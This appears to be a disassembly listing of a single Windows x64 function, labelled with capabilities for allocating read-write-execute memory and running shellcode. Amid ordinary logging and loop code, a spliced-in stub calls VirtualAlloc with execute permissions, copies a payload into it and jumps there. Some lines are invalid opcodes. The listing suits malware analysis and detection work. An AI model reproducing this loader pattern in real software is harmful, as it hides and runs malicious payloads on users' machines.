Function at 0x140003c1e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov edx, ebx
lea rcx, [rsi + 8]
lea r9, [0x140004080]
mov r8d, 8
call 0x1400d0060
mov rax, qword [rsp + 0xb0]
mov dword [rsi + 0x108], 1
mov dword [rsi + 0x10c], r13d
mov qword [rax], rsi
xor eax, eax
movaps xmm6, xmmword [rsp + 0x70]
mov r15, qword [rsp + 0xc8]
mov r14, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xb8]
movaps xmm7, xmmword [rsp + 0x60]
add rsp, 0x80
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov r14d, r15d
mov rbx, qword [rsi + r14*8 + 8]
test rbx, rbx
je 0x140003f4b
mov eax, dword [rbx + 0x10]
test eax, eax
je 0x140003f4b
cmp dword [rbx + 0x18], 0
jne 0x140003f4b
cmp dword [rbx + 0xc], 0
je 0x140003f4b
mov eax, dword [rbx + 0x66c]
test eax, eax
jne 0x140003b41
lea rdi, [rbx + 0x670]
test rdi, rdi
je 0x140003af6
xor r8d, r8d
mov rcx, rdi
lea edx, [r8 + 1]
call 0x1400c9f70
test eax, eax
jne 0x140003af6
mov eax, dword [rbx + 0x66c]
test eax, eax
jne 0x140003b37
lea rdx, [rbx + 0x658]
mov rcx, rbx
call 0x140099140
mov dword [rbx + 0x674], eax
mov dword [rbx + 0x66c], 1
xor edx, edx
mov rcx, rdi
call 0x1400c9f80
mov eax, dword [rbx + 0x674]
test eax, eax
je 0x140003ba9
cmp eax, 0xf
je 0x140003e02
cmp dword [0x140d1f090], 2
jl 0x140003ba5
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x28], 0x46
lea rdx, [0x1400ea490]
mov r8d, eax
mov qword [rsp + 0x20], r12
movaps xmm3, xmm6
lea rcx, [0x1400eaa70]
movq r9, xmm6
call 0x140097760
mov eax, ebp
jmp 0x140003c18
cmp dword [0x140d1f090], 5
jl 0x140003c0c
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
movaps xmm3, xmm6
lea rdx, [0x1400ea4bc]
mov r8d, eax
lea rcx, [0x1400ea9f8]
mov eax, dword [rbx + 0x658]
movq r9, xmm6
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], 0xa
mov dword [rsp + 0x28], 0x3d
mov qword [rsp + 0x20], r12
call 0x140097760
cmp dword [rbx + 0x658], 0xa
mov eax, ebp
setge al
mov rbx, qword [rsi + r14*8 + 8]
mov dword [rax - 0x7f], ecx
sub rsp, 0xa0
xor rcx, rcx
invalid
invalid
ret 0xaa97
sub rsp, 0xa0
xor rcx, rcx
mov rdx, 0xaa97
mov r8, 0x1000
mov r9, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140003d90
mov rdi, rax
call 0x140003c55
pop rsi
add rsi, 0x1789b
mov rcx, 0xaa97
xchg edi, eax
stosb byte [rdi], al
add byte [rax], al
rep movsb byte [rdi], byte [rsi]
call rax
mov rcx, rdi
lea edx, [r8 + 1]
call 0x1400c9f70
test eax, eax
jne 0x140003c60
mov eax, dword [rbx + 0x66c]
test eax, eax
jne 0x140003ca1
lea rdx, [rbx + 0x658]
mov rcx, rbx
call 0x140099140
mov dword [rbx + 0x674], eax
mov dword [rbx + 0x66c], 1
xor edx, edx
mov rcx, rdi
call 0x1400c9f80
mov eax, dword [rbx + 0x674]
test eax, eax
je 0x140003d13
cmp eax, 0xf
je 0x140003e65
cmp dword [0x140d1f090], 2
jl 0x140003d0f
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x28], 0x27
lea rdx, [0x1400ea490]
mov r8d, eax
mov qword [rsp + 0x20], r12
movaps xmm3, xmm6
lea rcx, [0x1400ea498]
movq r9, xmm6
call 0x140097760
mov eax, ebp
jmp 0x140003d1f
cmp dword [rbx + 0x658], 0xa
mov eax, ebp
sete al
cmp dword [rsp + 0x40], 0
mov dword [rsp + 0x48], eax
je 0x140003d4c
test eax, eax
je 0x140003de3
call fcn.140004110
test al, al
je 0x140003de3
call fcn.140004110
test al, al
jne 0x140003de3
mov r14, qword [rsi + r14*8 + 8]
mov edi, dword [rsi]
mov qword [rsp + 0x50], rbp
mov dword [rsp + 0x44], ebp
lea rbp, [0x1400eaae0]
test r14, r14
je 0x140003ed1
lea r8, [rsp + 0x44]
mov rcx, r14
lea rdx, [rsp + 0x50]
call fcn.140003200
mov ebx, eax
test eax, eax
jne 0x140003e6f
mov r10d, dword [rsp + 0x44]
xor ebp, ebp
test r10d, r10d
test edx, edx
je 0x140003de3
mov r9, qword [rsp + 0x50]
mov r8d, ebp
nop dword [rax]
mov ecx, ebp
test edi, edi
je 0x140003dbf
mov eax, r8d
mov rdx, qword [r9 + rax*8]
nop dword [rax]
mov eax, ecx
cmp rdx, qword [rsi + rax*8 + 8]
je 0x140003dd3
inc ecx
cmp ecx, edi
jb 0x140003db0
cmp ecx, edi
jne 0x140003dd3
mov edx, dword [rsi]
mov eax, r8d
mov rax, qword [r9 + rax*8]
mov qword [rsi + rdx*8 + 8], rax
inc dword [rsi]
inc r8d
cmp r8d, r10d
jb 0x140003da0
mov rcx, r9
call 0x1400cd928
mov ebx, dword [rsi]
cmp ebx, dword [0x140d15bc0]
je 0x1400038cb
inc r15d
cmp r15d, ebx
jb 0x140003ab5
jmp 0x1400038cb
cmp dword [0x140d1f090], 5
jl 0x140003e5b
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x30], 0xa
lea rdx, [0x1400ea4bc]
mov r8d, eax
mov dword [rsp + 0x28], 0x42
movaps xmm3, xmm6
mov qword [rsp + 0x20], r12
movq r9, xmm6
lea rcx, [0x1400eaa38]
call 0x140097760
mov ebx, 0xf
jmp 0x140003f50
mov ebx, 0xf
jmp 0x140003f13
cmp dword [0x140d1f090], 2
jl 0x140003fac
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x38], ebx
lea rdx, [0x1400ea490]
mov r8d, eax
lea rcx, [0x1400eab28]
mov eax, dword [r14]
movaps xmm3, xmm6
mov dword [rsp + 0x30], eax
movq r9, xmm6
mov dword [rsp + 0x28], 0xdf
mov qword [rsp + 0x20], rbp
call 0x140097760
jmp 0x140003ed6
mov ebx, 2
cmp dword [0x140d1f090], 2
jl 0x140003fac
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 0x134
jmp 0x140003f89
cmp dword [0x140d1f090], 2
jl 0x140003fac
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 0x125
jmp 0x140003f82
mov ebx, 2
cmp dword [0x140d1f090], 2
jl 0x140003fac
lea rcx, [0x140d27c00]
call 0x1400c9ee0
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
call qword [0x1400ea108]
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 0x11e
lea rbp, [0x1400eaae0]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rbp
movq r9, xmm6
lea rdx, [0x1400ea490]
mov r8d, eax
lea rcx, [0x1400eaab8]
call 0x140097760
mov rcx, rsi
call 0x1400cd928
mov eax, ebx
jmp 0x140003901